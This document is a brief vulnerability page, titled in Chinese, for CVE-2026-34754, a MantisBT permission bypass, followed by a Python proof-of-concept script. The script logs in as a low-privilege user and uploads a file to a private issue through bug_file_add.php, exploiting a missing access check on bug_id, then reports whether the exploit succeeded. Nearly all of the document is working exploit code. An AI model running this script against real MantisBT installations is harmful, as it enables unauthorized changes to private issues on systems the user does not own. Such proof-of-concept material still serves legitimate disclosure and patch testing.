CVE-2026-34754 MantisBT权限绕过导致未授权附件上传

import requests # Target configuration target_url = "http://localhost/mantisbt/bug_file_add.php" login_url = "http://localhost/mantisbt/login.php" username = "low_priv_user" password = "password" target_bug_id = "100" # ID of a private issue session = requests.Session() # Step 1: Authenticate to get a valid session login_payload = { "username": username, "password": password, "return": "index.php" } print("[*] Attempting login...") session.post(login_url, data=login_payload) # Step 2: Upload attachment to private issue # The vulnerability lies in the lack of access check for 'bug_id' files = { 'file': ('malicious_payload.txt', b'This is an unauthorized upload.', 'text/plain') } upload_data = { 'bug_id': target_bug_id, 'max_file_size': '5000000' } print(f"[*] Attempting to upload file to private issue {target_bug_id}...") response = session.post(target_url, files=files, data=upload_data) if response.status_code == 200 and "File uploaded successfully" in response.text: print("[+] Exploit successful! File uploaded to unauthorized private issue.") else: print("[-] Exploit failed or issue already patched.")